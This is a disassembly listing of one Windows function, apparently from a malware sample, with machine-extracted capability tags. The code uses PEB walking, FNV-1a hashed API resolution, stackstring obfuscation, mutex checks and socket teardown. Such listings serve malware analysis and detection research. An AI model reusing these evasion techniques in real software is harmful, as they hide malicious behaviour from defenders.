Function at 0x45e620
Capabilities:
Access peb ldr_data
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create thread
Delete file
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
mov ecx, 0x532b1c
push 0xffffffffffffffff
push 0x502140
push eax
mov dword fs:[0], esp
sub esp, 0x81c
push ebx
push esi
push edi
call fcn.00402650
xor ecx, ecx
mov esi, eax
call fcn.00402e20
add eax, 0x5d
add eax, esi
push eax
call fcn.004e1c4e
add esp, 4
push 0x100
push 0
push 0x534eb0
call fcn.004ddfe0
add esp, 0xc
mov ecx, 0x532b1c
call fcn.00402650
push eax
mov ecx, 0x532b1c
call fcn.004027a0
push eax
push 0x534eb0
call fcn.004dda60
add esp, 0xc
mov ecx, 0x532b4c
call fcn.00402650
push eax
mov ecx, 0x532b4c
call fcn.004027a0
push eax
push 0x534f14
call fcn.004dda60
add esp, 0xc
mov ecx, 0x532b1c
call fcn.004027a0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45e6d0
sub eax, edx
mov ecx, 0x532b1c
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00402740
push eax
mov ecx, 0x532b1c
call fcn.00464eb0
lea ecx, [ebp - 0x2ec]
call fcn.00402660
mov ecx, 0x532c3c
call fcn.004027a0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45e713
sub eax, edx
mov ecx, 0x532c3c
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402740
push eax
mov ecx, 0x532c3c
call fcn.00464eb0
lea ecx, [ebp - 0x12c]
call fcn.00402660
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0045e460
test al, al
jne 0x45e775
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x200
lea eax, [ebp - 0x720]
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x720]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x720]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.00402700
sub esp, 0x18
lea eax, [ebp - 0x3e8]
mov ecx, esp
push eax
call fcn.00465030
mov edx, 0x1e8480
lea ecx, [ebp - 0x204]
call fcn.0040b530
add esp, 0x18
mov ecx, 0x535270
call fcn.00402650
mov esi, dword [ebp - 0x204]
xor edi, edi
mov dword [ebp - 0x114], eax
mov ecx, dword [esi + 0x10]
sub ecx, eax
je 0x45e8e7
cmp dword [esi + 0x14], 0x10
jb 0x45e800
mov esi, dword [esi]
mov ecx, 0x535270
call fcn.004027a0
mov ecx, dword [esi + edi]
cmp ecx, dword [eax]
jne 0x45e848
mov ecx, dword [esi + edi + 4]
cmp ecx, dword [eax + 4]
jne 0x45e848
lea ecx, [ebp - 0x204]
call fcn.00463cb0
mov ecx, eax
call fcn.004027a0
mov ecx, 0x535270
mov esi, dword [eax + edi + 8]
mov ebx, dword [eax + edi + 0xc]
call fcn.004027a0
cmp esi, dword [eax + 8]
jne 0x45e848
cmp ebx, dword [eax + 0xc]
je 0x45e861
mov esi, dword [ebp - 0x204]
inc edi
mov eax, dword [esi + 0x10]
sub eax, dword [ebp - 0x114]
cmp edi, eax
jb 0x45e7f8
jmp 0x45e8e7
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x2a], 0x7c637158
mov dword [ebp - 0x26], 0x37727a7a
mov word [ebp - 0x22], 0x100
call fcn.0040e8b0
movaps xmm0, xmmword [0x524270]
lea ecx, [ebp - 0x284]
movups xmmword [ebp - 0x284], xmm0
mov esi, eax
mov dword [ebp - 0x254], 0x2b612e4a
movaps xmm0, xmmword [0x523f70]
movups xmmword [ebp - 0x274], xmm0
mov dword [ebp - 0x250], 0x1007b37
movaps xmm0, xmmword [0x5247a0]
movups xmmword [ebp - 0x264], xmm0
call fcn.004448d0
push 0x14
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x45e8e1
lea esi, [eax + 5]
jmp 0x4614ec
mov esi, dword [ebp - 0x204]
push 0
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.00467760
push 0
mov dword [ebp - 4], 0xffffffff
call fcn.004e9f9b
add esp, 4
push eax
call fcn.004e1c4e
add esp, 4
mov dword [ebp - 0x30], 0x7764627b
lea ecx, [ebp - 0x30]
mov word [ebp - 0x2c], 0x100
call fcn.00462220
push 0
lea eax, [ebp - 0x30]
mov ecx, 0x532b64
push eax
call fcn.00464ab0
test eax, eax
jne 0x45eab8
call fcn.004146b0
test al, al
je 0x45e9fd
mov eax, dword fs:[0x30]
mov dword [ebp - 0x228], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x84], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x84], ecx
cmp ecx, esi
je 0x45e9d4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45e9d4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45e9cd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45e9b0
cmp esi, 0xe80fd3a
je 0x45e9d8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45e994
mov eax, dword [eax]
jmp 0x45e961
mov eax, dword [ebp - 0x84]
mov edx, dword [ebp - 0x4c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x228]
jmp 0x45eaad
call fcn.004147f0
test al, al
jne 0x45eab8
mov eax, dword fs:[0x30]
mov dword [ebp - 0x130], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x84], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4c], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x4c], ecx
cmp ecx, esi
je 0x45ea89
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ea89
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ea82
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ea65
cmp esi, 0xe80fd3a
je 0x45ea8d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ea50
mov eax, dword [eax]
jmp 0x45ea20
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x84]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x130]
add esi, edx
call fcn.00466cf0
push dword [eax]
call esi
lea ecx, [ebp - 0xd2]
mov dword [ebp - 0xd2], 0x7764627b
mov word [ebp - 0xce], 0x100
call fcn.00462220
push 0
lea eax, [ebp - 0xd2]
mov ecx, 0x532b04
push eax
call fcn.00464ab0
test eax, eax
jne 0x45ebc5
call fcn.00414830
mov bl, al
call fcn.004148c0
mov bh, al
call fcn.00414b20
test bl, bl
jne 0x45eb1d
test bh, bh
jne 0x45eb1d
test al, al
jne 0x45eb1d
call fcn.004146f0
test al, al
je 0x45ebc5
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x84], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c], ecx
cmp ecx, esi
je 0x45eb99
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45eb99
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45eb92
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45eb75
cmp esi, 0xe80fd3a
je 0x45eb9d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45eb60
mov eax, dword [eax]
jmp 0x45eb30
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x84]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x14]
add esi, edx
call fcn.00466cf0
push dword [eax]
call esi
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xd8], 0x7764627b
mov word [ebp - 0xd4], 0x100
call fcn.00462220
push 0
lea eax, [ebp - 0xd8]
mov ecx, 0x532c24
push eax
call fcn.00464ab0
test eax, eax
jne 0x45ec02
lea ecx, [eax + 1]
call fcn.00414cd0
lea ecx, [ebp - 0xde]
mov dword [ebp - 0xde], 0x7764627b
mov word [ebp - 0xda], 0x100
call fcn.00462220
push 0
lea eax, [ebp - 0xde]
mov ecx, 0x532c0c
push eax
call fcn.00464ab0
test eax, eax
jne 0x45ec3c
call fcn.00417c50
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0x7764627b
mov word [ebp - 0xe0], 0x100
call fcn.00462220
push 0
lea eax, [ebp - 0xe4]
mov ecx, 0x532bac
push eax
call fcn.00464ab0
test eax, eax
mov dword [ebp - 0x13d], 0x7a7f7978
lea ecx, [ebp - 0x13d]
mov dword [ebp - 0x139], 0x38656067
sete byte [ebp - 0x15]
mov dword [ebp - 0x135], 0x757473
mov byte [ebp - 0x131], 1
call fcn.00462190
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x84], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c], ecx
cmp ecx, esi
je 0x45ed19
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ed19
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ed12
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ecf5
cmp esi, 0x53b2070f
je 0x45ed1d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ece0
mov eax, dword [eax]
jmp 0x45ecb0
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x84]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x13d]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x45ed4d
xor esi, esi
jmp 0x4614ec
lea ecx, [ebp - 0x1c2]
mov dword [ebp - 0x1c2], 0x5b5f5958
mov dword [ebp - 0x1be], 0x3841515d
mov dword [ebp - 0x1ba], 0x555453
mov byte [ebp - 0x1b6], 1
call fcn.0040d440
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.0047fac0
push 0
lea ecx, [ebp - 0xc9]
mov word [ebp - 0xc9], 0x35
mov byte [ebp - 0xc7], 1
call fcn.00409f10
push eax
mov ecx, 0x532b4c
call fcn.00464ab0
cmp eax, 0xffffffff
je 0x45ee4c
sub esp, 0x18
mov word [ebp - 0xcc], 0x35
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0xca], 1
mov esi, esp
call fcn.00409f10
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov ecx, esp
push 0x532b4c
call fcn.00465030
lea ecx, [ebp - 0x24c]
call fcn.0040be70
add esp, 0x30
lea ecx, [ebp - 0x24c]
call fcn.00463c80
cmp eax, 2
jne 0x45ee41
push 1
lea ecx, [ebp - 0x24c]
call fcn.00463c60
push eax
mov ecx, 0x5350c8
call fcn.00464e80
push 0
lea ecx, [ebp - 0x24c]
call fcn.00463c60
push eax
mov ecx, 0x532b4c
call fcn.00464e80
lea ecx, [ebp - 0x24c]
call fcn.00463d70
push 0
push 0
push 0
push 0x41e260
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x532aac], 0xffffffff
jne 0x45ef2a
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x84], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c], ecx
cmp ecx, esi
je 0x45eef9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45eef9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45eef2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45eed5
cmp esi, 0x2fa62ca8
je 0x45eefd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45eec0
mov eax, dword [eax]
jmp 0x45ee90
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x84]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x532aac], 0xffffffff
je 0x45ee80
lea ecx, [ebp - 0xfa]
mov dword [ebp - 0xfa], 0x1004a55
call fcn.00409f20
push eax
lea ecx, [ebp - 0x240]
call fcn.00402700
mov ecx, 0x104
lea eax, [ebp - 0x828]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45ef56
lea eax, [ebp - 0x828]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xd
lea ecx, [ebp - 0x3b8]
call fcn.0040c1d0
lea eax, [ebp - 0x3b8]
mov dword [ebp - 0x144], 0x53737f65
push eax
lea ecx, [ebp - 0x144]
mov word [ebp - 0x140], 0x20
mov byte [ebp - 0x13e], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x460]
call fcn.00402700
push eax
lea edx, [ebp - 0x828]
lea ecx, [ebp - 0x448]
call fcn.00468e90
add esp, 4
lea ecx, [ebp - 0x430]
mov edx, eax
call fcn.00468f90
add esp, 4
mov ecx, 0x532aec
push eax
call fcn.00464eb0
lea ecx, [ebp - 0x430]
call fcn.00402660
lea ecx, [ebp - 0x448]
call fcn.00402660
lea ecx, [ebp - 0x460]
call fcn.00402660
lea eax, [ebp - 0x3b8]
mov dword [ebp - 0xaf], 0x53737f65
push eax
lea ecx, [ebp - 0xaf]
mov word [ebp - 0xab], 0x27
mov byte [ebp - 0xa9], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x490]
call fcn.00402700
push eax
lea edx, [ebp - 0x828]
lea ecx, [ebp - 0x478]
call fcn.00468e90
add esp, 4
lea ecx, [ebp - 0x29c]
mov edx, eax
call fcn.00468f90
add esp, 4
lea ecx, [ebp - 0x478]
call fcn.00402660
lea ecx, [ebp - 0x490]
call fcn.00402660
mov ecx, 0x532aec
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x45f0a5
push 0
mov dl, 1
mov ecx, 0x532aec
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x29c]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x45f0cd
push 0
mov dl, 1
lea ecx, [ebp - 0x29c]
call fcn.0040ba90
add esp, 4
push 0
mov ecx, 0x532aec
call fcn.004027a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x45f0fe
mov ecx, 0x532aec
call fcn.00415b70
test al, al
je 0x4612e3
push 0
lea ecx, [ebp - 0x29c]
call fcn.004027a0
push eax
call esi
test eax, eax
jne 0x45f11d
lea ecx, [ebp - 0x29c]
call fcn.00415b70
lea ecx, [ebp - 0x29c]
call fcn.004027a0
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x130], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45f1a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f1a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f1a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f185
cmp esi, 0x7a5b9fa2
je 0x45f1ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f170
mov eax, dword [eax]
jmp 0x45f140
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x130]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x10]
add esi, edx
call fcn.00466cf0
push dword [eax]
call esi
lea eax, [ebp - 0x29c]
mov ecx, 0x532b7c
push eax
call fcn.00464e80
call fcn.00415f50
test al, al
je 0x45f3bf
cmp byte [ebp - 0x15], 0
jne 0x45f3bf
push 0x532b1c
lea ecx, [ebp - 0x63]
mov dword [ebp - 0x63], 0x71787c7c
mov dword [ebp - 0x5f], 0x7f794778
mov dword [ebp - 0x5b], 0x74587d73
mov word [ebp - 0x57], 0x7f
mov byte [ebp - 0x55], 1
call fcn.0040a210
mov edx, eax
lea ecx, [ebp - 0x2ec]
call fcn.00468e30
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x2ec]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4614c9
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1e
push 0x3e8
call edi
sub esi, 1
jne 0x45f272
sub esp, 0x18
mov dword [ebp - 0x2a], 0x515f4647
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x26], 0x7a79703d
mov word [ebp - 0x22], 0x100
mov esi, esp
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041e720
mov ecx, dword [0x535168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x535164]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45f2f3
nop
push 0x30
call edi
mov ecx, dword [0x535168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x535164]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x45f2d0
push 2
push dword [0x532aac]
mov byte [0x534e81], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x532aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x14], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x45f394
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f394
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x45f38d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x45f370
cmp esi, 0x2fa62ca8
je 0x45f398
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x45f355
mov eax, dword [eax]
jmp 0x45f330
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x159
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x45f320
lea ecx, [ebp - 0x93]
mov byte [0x534eab], 0
mov word [ebp - 0x93], 0x73
mov byte [ebp - 0x91], 1
call fcn.00409f10
lea ecx, [ebp - 0x34c]
mov ebx, eax
call fcn.0040cbb0
push 0
push 0x13078
mov edi, eax
call fcn.00407d20
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [0x532aac]
lea ecx, [ebp - 0x4a8]
mov esi, esp
mov dword [ebp - 0x14], eax
mov edx, edi
push 0x532b1c
push ebx
call fcn.00468dd0
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.00468f90
mov edx, dword [ebp - 0x10]
add esp, 4
mov ecx, dword [ebp - 0x14]
call fcn.0041d6d0
add esp, 0x18
lea ecx, [ebp - 0x4a8]
mov esi, eax
call fcn.00402660
lea ecx, [ebp - 0x34c]
call fcn.00402660
test esi, esi
jle 0x45f522
cmp byte [0x534eab], 0
jne 0x45f522
nop dword [eax]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x94], 0x64
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x45f4e9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f4e9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f4e2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f4c5
cmp esi, 0x2fa62ca8
je 0x45f4ed
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f4b0
mov eax, dword [eax]
jmp 0x45f486
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x94]
add esi, edx
call fcn.00466cf0
push dword [eax]
call esi
cmp byte [0x534eab], 0
je 0x45f470
mov edx, 0x532ad4
lea ecx, [ebp - 0x27c]
call fcn.0041bd10
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x240]
call fcn.00464e80
cmp dword [0x532ae4], 0
jne 0x45f5cc
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x230], 0
jne 0x45f5cc
mov edx, 0x532ad4
lea ecx, [ebp - 0x364]
call fcn.0041bd10
mov esi, eax
lea ecx, [ebp - 0x27c]
push esi
call fcn.00464eb0
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x264]
call fcn.00464eb0
lea ecx, [ebp - 0x34c]
call fcn.00402660
lea ecx, [ebp - 0x364]
call fcn.00402660
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x240]
call fcn.00464e80
push 0
push 0x144f1
call fcn.00407d20
add esp, 8
push eax
call edi
cmp dword [0x532ae4], 0
je 0x45f553
mov ecx, 0x532ad4
call fcn.004027a0
push 0x51fad0
push eax
call fcn.004dd650
add esp, 8
test eax, eax
je 0x45f67e
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x12c]
call fcn.004027f0
push 1
push 0x51f830
lea ecx, [ebp - 0x12c]
call fcn.00402810
push edi
lea ecx, [ebp - 0x224]
call fcn.004027f0
push 1
push 0x51fad0
lea ecx, [ebp - 0x224]
call fcn.00402810
lea eax, [ebp - 0x12c]
mov ecx, 0x532ad4
push eax
lea edx, [ebp - 0x224]
call fcn.0040c170
add esp, 4
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x12c]
call fcn.00402660
mov ecx, 0x532ad4
call fcn.004027a0
push 0x51fad0
push eax
call fcn.004dd650
add esp, 8
test eax, eax
jne 0x45f5f2
lea ecx, [ebp - 0xfe]
mov dword [ebp - 0xfe], 0x100455d
call fcn.00409f20
push eax
lea ecx, [ebp - 0x610]
call fcn.00402700
lea ecx, [ebp - 0x102]
mov dword [ebp - 0x102], 0x1004a44
call fcn.00409f20
push eax
lea ecx, [ebp - 0x5f8]
call fcn.00402700
lea ecx, [ebp - 0x106]
mov dword [ebp - 0x106], 0x100494d
call fcn.00409f20
push eax
lea ecx, [ebp - 0x5e0]
call fcn.00402700
lea ecx, [ebp - 0x10a]
mov dword [ebp - 0x10a], 0x1005d4e
call fcn.00409f20
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00402700
lea ecx, [ebp - 0x10e]
mov dword [ebp - 0x10e], 0x1004a5a
call fcn.00409f20
push eax
lea ecx, [ebp - 0x5b0]
call fcn.00402700
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], 0x1005442
call fcn.00409f20
push eax
lea ecx, [ebp - 0x598]
call fcn.00402700
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x68], 0x1005744
call fcn.00409f20
push eax
lea ecx, [ebp - 0x580]
call fcn.00402700
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x1005a5b
call fcn.00409f20
push eax
lea ecx, [ebp - 0x568]
call fcn.00402700
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0x100515a
call fcn.00409f20
push eax
lea ecx, [ebp - 0x550]
call fcn.00402700
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x54], 0x1004a4e
call fcn.00409f20
push eax
lea ecx, [ebp - 0x538]
call fcn.00402700
lea eax, [ebp - 0x520]
push eax
lea eax, [ebp - 0x610]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.00461c30
lea ecx, [ebp - 0x418]
push dword [eax + 4]
push dword [eax]
call fcn.00461550
push fcn.00402660
push 0xa
push 0x18
lea eax, [ebp - 0x610]
push eax
call fcn.004dc046
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0x418]
call fcn.00469bd0
test eax, eax
je 0x45f847
movaps xmm0, xmmword [0x525830]
lea ecx, [ebp - 0x2c0]
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2b0], 0x100536c
call fcn.0040e940
push 0x51fa64
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x45f847
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.NtDebugWriter
call ebx
